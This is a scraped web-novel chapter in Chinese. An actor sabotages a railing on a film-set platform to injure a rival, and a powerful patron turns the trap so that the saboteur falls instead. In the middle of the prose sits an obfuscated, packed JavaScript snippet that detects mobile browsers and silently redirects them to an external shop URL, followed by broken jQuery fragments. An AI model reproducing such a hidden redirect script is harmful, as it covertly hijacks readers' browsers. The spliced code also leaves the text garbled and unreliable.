默认冷灰
24号文字
方正启体

8. 高台之上

作者:有杏在野本书字数:K更新时间:
    苏燃休息一天后,皮相上的疲乏被压了下去,眼底那点因高烧和诡异经历而滋生的虚浮被他妥当收敛在了得体的仪表之下。


    今天,要拍一场高台戏,拍摄场地移到了影视城地势较高的一处仿古楼阁。


    山风凌冽。高台矗立在楼阁顶层,工作人员在底下忙着铺设防护气垫,帆布摩擦的哗啦声混着风啸,在半空里荡出细碎的回响。


    苏燃化完妆,和陈铎一块儿从化妆间走过来,戏服的衣摆被风掀得猎猎作响,衬得两人身形愈发挺拔。惹得不少工作人员,尤其是年轻女孩们,目光流连。一部权谋剧竟然呈现出双男主的韵味。


    “小苏,这场情绪爆发戏,我觉得你可以试试收着点,沈归鹤毕竟是世家子,再愤怒也要有分寸感。”


    “我琢磨琢磨。”苏燃点头,指尖无意识地摩挲着袖角绣着的云纹暗线,“谢谢铎哥指点。”


    “客气什么,都是青田出来的,互相照应。”


    陈铎拍了拍他的肩膀,一抬头,看见赵导正站在监视器前蹙眉看景,便抬脚走过去打招呼,步子迈得稳而轻快:“赵导,您看这场高台戏,是不是再调整一下走位?我觉得从侧面拍小苏的侧影,下颌线绷紧的弧度,配合远处淡墨似的山峦,意境可能更好。”


    赵导沉吟了一下,抬手遮着光,往高台方向望了望,又低头看了眼分镜脚本:“有道理。陈铎你对镜头感把握确实准。那就按你说的,再走一遍位。”


    陈铎笑着应下,转身去和武术指导沟通,背影迎着光,连发丝都镀着一层金边,透着股利落的活力。


    苏燃看着他和武指比划动作时的熟稔模样,心里生出几分羡慕。难怪陈铎走到哪儿都很受欢迎,他这性格,演技过硬,又能照顾到身边人的情绪,真是熨帖得让人没法不心生亲近。


    准备工作有条不紊。高台是实景搭建,青石板铺就,木质栏杆围着边沿。这场戏是两位世子理念不合、冲突升级后的巅峰对峙,有激烈的肢体动作,最终沈归鹤会被逼至栏杆边缘,命悬一线。


    走位确认时,陈铎表现得格外认真,甚至主动要求增加一些“真实感”的推搡动作。“赵导,这种生死关头,力道太假观众出戏,我和小苏都是练过的,有分寸。”


    武指看向赵导,赵成沉吟着看向苏燃。苏燃也点头表示同意:“我没问题,听导演和铎哥的。”


    山间晨雾未散,湿气凝在瓦当,滴落无声。高台之上,山风更疾。


    陈铎的手指,状似无意地搭在其中一段栏杆的接榫处。那里,被他提前动过手脚的榫卯,看似牢固,内里却已悄悄松动。他脸上维持着与苏燃对戏时的专注神情,余光却扫过那处“关键点”,心脏在胸腔里沉沉跳动,混合着嫉恨与一种即将得手的、阴冷的亢奋。


    萧景淮就是在这时过来的。


    他没有惊动太多人,只带着一个助理,悄无声息地出现在监视器后方。目光投向高台,掠过苏燃,在陈铎搭着栏杆的手上,停留了半秒。


    陈铎的指尖蓦然僵了一下。一股没来由的寒意,顺着脊椎悄然爬升,他下意识回头向下观望。


    这时萧景淮却已经走到机器后边,姿态闲适地站在赵导身侧,看向监视器屏幕。


    “《踏鹤归》第十七场三镜一次!Action!”


    打板声落,戏幕拉开。台词,走位,逼近,冲突……一切按部就班,如同排练过无数次那样精确。陈铎将苏燃逼至高台边缘,手臂挥出,带着剧本要求的力道和私下盘算的狠劲。


    苏燃的后背撞上栏杆。


    “吱嘎——”


    一声轻微到几乎被台词掩盖的、不同于寻常撞击的异响,刺入耳膜。


    苏燃瞳孔微缩,本能地感到不安。


    陈铎眼底狠色骤亮,蓄力的右手正要按计划狠狠推出,将那脆弱的栏杆和栏杆前的人一起——


    “咔。”


    声音不高,甚至算得上平淡,却像一道冰冷的闸刀,骤然斩断了所有正在进行中的情绪与动作。


    不是赵导。


    全场霎时死寂。所有目光,循声望去。


    萧景淮从监视器后踱出,缓步走到拍摄区边缘,先对因被打断而有些错愕的导演致歉:“赵导,抱歉打断。看了刚才的走位,我有个不成熟的想法。”


    “不成熟你就别说,”赵导心中暗暗腹诽,但他也知道,萧景淮不是那种不知分寸,随意开口的人,他有点疑惑的道:“萧先生请讲。”


    “这场戏,冲突的张力在于‘绝境’与‘反杀’。”萧景淮声音不高,却清晰地传遍安静的片场,“沈归鹤被逼到高台边缘,固然危险,但戏剧性还不够极致。如果我们调整一下,让‘加害者’自己站到那个危险的位置,而沈归鹤在绝境中凭借智计或武功,将其反制,甚至……使其自食恶果,会不会更有宿命感和冲击力?”


    他一边说,一边微微侧头,目光随意地转向脸色一点点变得惨白的陈铎,最后又落回赵成脸上,嘴角噙着一丝极淡的、像是纯粹探讨艺术的微笑。


    “陈铎的演技和身手,完成这种程度的戏份,想必不难吧。观众也会记住这个角色的‘恶有恶报’。赵导您觉得呢?”


    赵导怔了怔,迅速在脑子里过了一遍萧景淮的提议。不得不承认,从戏剧效果看,这样改确实更抓人眼球。但是,萧景淮的真正目的仅限于此么?


    高台之上,陈铎的嘴唇开始不受控制地轻颤。他搭在栏杆上的手,指节用力到泛出青白色,却感觉不到栏杆的实质,只感到一股冰冷的寒意从指尖蔓延到全身。萧景淮知道了!他一定知道了!那平静话语下的每一个字,都像是对他的谋划最精确的复述和宣判!


    赵导咀嚼着萧景淮的话,眼角余光瞥向陈铎,又瞥向萧景淮那副看不出情绪的脸,心里已经明白了七八分。


    “萧先生高见!”赵导语气不由自主地带上了一丝紧绷,“这样改,戏剧张力确实更足!只是……”他转向陈铎,“你觉得呢?有没有把握演出那种‘自食恶果’的层次?”他把自食恶果四个字的音咬的极重,几乎是一字一顿。


    压力,如实质般压到陈铎肩上。他张了张嘴,喉咙干涩得发不出完整的声音。他想拒绝,想说自己没准备好,但萧景淮的目光像无形的钉子,将他钉在原地。那双镜片后的眼睛深不见底,此刻正清晰地传达着一个信息:你可以拒绝,但后果自负。


    “我……我……”陈铎的冷汗,终于从额角渗出,滑过僵硬的颊侧。


    “没把握?”萧景淮看着他,语气里渗入一丝极淡的、却令人骨髓发寒的凉意,“青田训练营的优等生,《神话》的男一号,临场调整的能力这么弱?还是说……”他顿了顿,目光似有若无地扫过那段栏杆,“你对这个场景,有什么特别的顾虑?”


    最后几个字,轻飘飘的,却像重锤砸在陈铎心口。他眼前黑了一瞬。所有狡辩的念头,在对方那洞悉一切的目光下,溃不成军。


    “没……没有顾虑。”陈铎听见自己嘶哑的声音响起,每个字都像从砂纸上磨出来,“萧先生的提议……很好。我……试试。”


    “不是试试,”萧景淮纠正,语气重回绝对的无波,“是完成。动作指导,重新设计。苏燃,调整情绪,重点在最后那一下的反制,要稳。”


    “是,萧哥。”苏燃压下心头的疑惑,立刻应道。他隐约感觉到了气氛的诡异,尤其是陈铎瞬间惨白的脸和萧景淮话语中那冰冷的意味。但他选择服从。


    新的走位很快确定。陈铎的位置,被调整到了靠近那段“特殊”栏杆的地方,而他需要在对峙的高潮,被苏燃一个巧劲“带”向栏杆方向。


    当这个走位被清晰指出时,陈铎脸上最后一点血色也褪尽了。他看向萧景淮,眼神里甚至带上了一丝哀求。


    萧景淮却已转开视线,正低声对赵导说着什么,侧脸线条冷硬如石刻。


    不远处,坐在休息椅上闭目养神的谭老爷子,掀开眼皮,他看了看高台上摇摇欲坠的陈铎,又看了看下方气定神闲的萧景淮,几不可察地摇了摇头,嘴角掠过一丝极淡的弧度,随即又合上眼,仿佛对即将发生的一切毫无兴趣。


    赵导心里叹了口气。作为一个导演,他本能地厌恶在片场见血,更厌恶这种冰冷的算计。他犹豫了一下,看向萧景淮,低声道:“萧先生,这调整是不是有点……太危险了?万一……”


    “赵导是信不过剧组的安全措施,还是信不过演员的专业素养?”


    萧景淮截断他的话,侧过头,镜片后的目光平静地迎上赵导的视线,嘴角勾起一丝笑意。


    “陈铎自己提出的‘增加真实感’,想必,他很清楚如何在‘真实’中保护自己。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228480|197577||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    赵导被他话里的意思噎住了。他看着萧景淮那双毫无波澜的眼睛,知道任何劝阻都是徒劳。这个男人铁了心要借这片场,拿陈铎做法,确定苏燃在这个圈子里的定位。


    最终,赵导无力地摆摆手,声音有些发涩:“……按萧先生说的拍吧。安全组,盯紧点!”


    这“盯紧点”三个字,说得虚弱而苍白。谁都听得出其中的无奈。


    陈铎孤立在高台上,山风穿透单薄的戏服,冷得他牙齿打颤。他看着下方忙碌调整机位、铺设安全垫的工作人员,萧景淮淡漠的侧影,周围或好奇、或茫然、或隐约察觉了什么而窃窃私语的同组人员……巨大的恐惧攫住了他。他不想过去!那里是陷阱!他自己亲手布置的陷阱!


    可他更不敢不过去。萧景淮就在下面看着。违背他的意志,下场可能比掉下去更可怕。


    他一步一步,挪到了那个致命的位置。脚下,青石板冷的像冰。


    “Action!”


    第二次拍摄开始。


    陈铎的表演完全失了魂,台词僵硬,眼神涣散。当苏燃按照新设计,使出那招反制技巧,手掌贴上他手臂,巧妙发力将他“带”向栏杆时,陈铎几乎是主动撞了上去,因为他僵硬的肌肉根本无法做出有效的抵抗或调整。


    “砰!”


    肩膀结结实实地撞在了那处松动的榫卯上。


    时间仿佛在那一刻被拉长。


    陈铎清晰地听到了木质纤维断裂的呻吟,感觉到了支撑点的瞬间崩塌。他身体失重,视野天旋地转,下方惊呼声炸响,而他眼中最后定格的,是萧景淮抬眸望来的、平静无波的脸。那是一片深不见底的冷漠,如同看着落叶按照既定轨迹飘零入泥。


    “咔嚓——哗啦——!”


    栏杆断裂,人影坠落。


    七八米的高度,短暂却漫长。


    “咚!”


    沉闷的撞击声,伴随着一声短促凄厉的惨叫。陈铎没能完全落在安全垫中央,左腿扭曲着磕在垫子边缘坚硬的花岗岩台基上。


    现场瞬间炸开锅!惊呼,奔跑,赵导的喊叫,医护人员冲上前……


    苏燃站在高台边缘,愣愣地看着下面瞬间围拢的人群,还有缝隙中,陈铎那条以诡异角度弯曲的腿。刚才电光石火间,萧景淮平静的话语、陈铎苍白的脸、突然调整的走位,那声诡异的“吱嘎”响、还有此刻血腥的现实……碎片骤然拼合,一个冰冷的真相,狠狠撞进他的脑海。


    是陈铎想害他。


    萧景淮知道。


    然后,萧景淮让陈铎,自己掉了下去。


    一股寒意,从脚底窜遍全身,比山风更刺骨。他呆呆地站着,看着陈铎在痛苦中蜷缩,被众人七手八脚抬上担架,那张英俊阳光、曾对他笑语温言的脸,此刻惨白扭曲,布满冷汗和痛苦。


    担架抬走时,他匆匆抬头一瞥,对上了苏燃的眼睛。


    苏燃清楚的看见,那里面除了痛苦,还有浓得化不开的恐惧、不甘,以及……刻骨的怨毒。


    苏燃心脏猛地一缩,下意识地后退了半步。


    混乱中,萧景淮依旧站在原地,黑色大衣纤尘不染。他甚至没有走近查看伤者,只是对快步走来的赵导平静提议:“意外难免。但进度不能耽误。陈铎的戏份,按合同紧急预案处理,换人吧。替补演员,我的团队会立刻协调,最快下午就能进组。”


    赵导抹了把额头上的汗,声音还有些发紧:“……好,我立刻安排调整拍摄计划。”


    “嗯。”萧景淮淡淡应了一声,目光扫过高台上脸色苍白的苏燃,又环视了一圈周围或惊恐、或骇然、或若有所思的剧组人员。


    他的视线所及之处,窃窃私语声瞬间低伏下去,许多人不自觉地避开了他的目光。


    山风呼啸着穿过楼阁,卷起地上一片枯叶,打着旋儿,掠过陈铎遗落在地的一只戏靴,最终消失在雾气深处。


    高台之上,栏杆的断口处,木茬新鲜,像一道沉默的、咧开的伤口。


    苏燃独立于高台边缘,月白色的衣袂在凛冽山风中剧烈翻飞,仿佛随时会将他裹挟而去。


    萧景淮瞥了苏燃一眼,带着助理离开片场。转身时,嘴角扬起一丝弧度,看来他还没蠢到不知道今天发生了什么。不过无所谓,从今以后,谁再想动他,得先掂量掂量自己的份量。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)